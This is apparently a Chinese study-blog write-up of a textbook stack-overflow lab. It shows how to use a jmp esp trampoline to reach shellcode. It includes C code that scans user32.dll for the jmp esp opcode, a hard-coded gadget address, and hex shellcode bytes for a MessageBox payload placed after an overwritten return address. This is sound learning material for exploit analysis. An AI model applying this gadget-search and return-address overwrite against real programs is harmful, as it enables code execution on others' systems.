前言

前几天学习到了通过栈溢出弹窗,当时是入口地址是buffer的地址,现在了解到有一个叫跳板的玩意

图源:《0day安全 软件漏洞分析技术第二版》

ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置

  1. 用内存中任意一个jmp esp指令的地址覆盖函数返回地址,而不用手工查出shellcode起始地址直接覆盖
  2. 函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode
  3. 由于esp在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,处理器会到栈区函数返回地址之后的指令执行
  4. 重新布置shellcode,在淹没函数返回地址后,继续淹没一片栈空间,将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后,这样Jmp esp指令执行过后会恰好跳进shellcode

这种定位shellcode的方法使用进程空间里一条jmp esp指令作为跳板,不论栈帧怎么移位都能准确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化


正文

找出Jmp Esp的地址

直接看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
//FF E0		JMP EAX
//FF E1 JMP ECX
//FF E2 JMP EDX
//FF E3 JMP EBX
//FF E4 JMP ESP
//FF E5 JMP EBP
//FF E6 JMP ESI
//FF E7 JMP EDI

//FF D0 CALL EAX
//FF D1 CALL ECX
//FF D2 CALL EDX
//FF D3 CALL EBX
//FF D4 CALL ESP
//FF D5 CALL EBP
//FF D6 CALL ESI
//FF D7 CALL EDI


//#define DLL_NAME "mfc42.dll"

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;

handle=LoadLibrary(DLL_NAME);

if(!handle)
{
printf(" load dll erro !");
exit(0);
}

ptr = (BYTE*)handle;//handle的地址赋值给ptr

for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)//jmp esp的十六进制码为FF E4
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;//如果找到了,就把ptr和position的地址相加赋值给address
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;//结束循环
}
}
system("pause");
}

首先加载user32.dll动态链接库,算了看源码的注释吧👆,如果有错误的话麻烦指点一二。

这里的地址随便挑一个都可以,选第一个,尽量避免有0a,0c这些,因为这些是截断符。


寻找溢出位置

jmp esp地址:760280f6

因为是在栈溢出的位置进行修改,所以首先要找出来是那个位置。

由于跳板是在函数入口处进入,不同于上一章是在尾部输入函数地址跳转,所以这次实验的password.txt要输入更多的字符串来承载机器代码。

将程序拖入OD,根据上次的分析,右下角堆栈窗口跟踪buffer的地址,当程序执行到retn时,观察运行位置,可以看出,是在5678字符串的下一组4321,所以就是要从此处进行修改。

password.txtUltraEdit编辑器中打开,快捷键Ctrl+H切换十六进制编辑窗口,此次输入的字节刚好6行,24组4321,其中有两组叛徒改为了1234,5678

刚才找出的地址是在5678的下一组4321

首先根据大顶机的缘故,逆序输入JMP ESP的函数地址

接着,照常写入上一章中的弹窗机器代码。此次测试时候发现,我笔记本的MessageBox的函数地址与我一开始测试的是相同的(我的笔记本每天都关机,此时获取到的地址是相同的,但是我写上一篇文章时使用台式机测试时,每次重启或关机在启动,地址都会发生变动),由于上篇文章是用台式机写的,所以截图的地址有所不同。

弹窗机器代码:33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 50 50 53 B8 60 10 07 76 FF D0

写入后,还剩几个字节,此时可以使用90填充

最终修改完。


跳板运用

修改完password.txt后,再次用OD加载程序,重复之前的步骤,在堆栈窗口处观察buffer的地址信息

当程序运行到retn时,堆栈处停在了jmp esp的地址处,再次F8运行程序就清楚

此处就是刚才找到的jmp esp的地址处

再次F8运行程序,就会跳转到机器代码处


🔚

如果跳板的地址,真的会有存在一个是千载不变的地址,那么在写shellcode时候就会很方便。不过要在多台机子测试过才知道。